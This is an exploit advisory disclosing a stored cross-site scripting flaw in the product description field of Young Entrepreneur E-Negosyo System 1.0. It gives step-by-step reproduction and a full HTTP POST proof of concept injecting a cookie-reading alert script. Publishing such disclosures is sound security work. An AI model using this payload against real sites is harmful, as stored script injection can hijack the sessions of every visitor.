Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)

# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)
# Date: 2021-10-03
# Exploit Author: Jordan Glover
# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows 10 + XAMPP v3.3.0

Young Entrepreneur E-Negosyo System 1.0 suffers from a Cross Site Scripting (XSS) vulnerability.

Step 1 - Create a new product to sell - http://localhost/bsenordering/admin/products/index.php?view=add
Step 2 - Fill out all required fields to create a new product. Input a payload in the product description field - <script>alert(document.cookie)</script>
Step 3 - Save the product.

The stored XSS triggers for all users that navigate to the home page.

POC

POST /bsenordering/admin/products/controller.php?action=add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------375756297829058981022228786743
Content-Length: 1203
Origin: http://localhost
Connection: close
Referer: http://localhost/bsenordering/admin/products/index.php?view=add
Cookie: PHPSESSID=794albocs4b1st3m9hsileorpg
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="OWNERNAME"

Test
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="OWNERPHONE"

0000000000
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="PRODESC"

<script>alert(document.cookie)</script>
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="CATEGORY"

3
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="ORIGINALPRICE"

100
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="PROPRICE"

100
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="PROQTY"

100
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="save"


-----------------------------375756297829058981022228786743--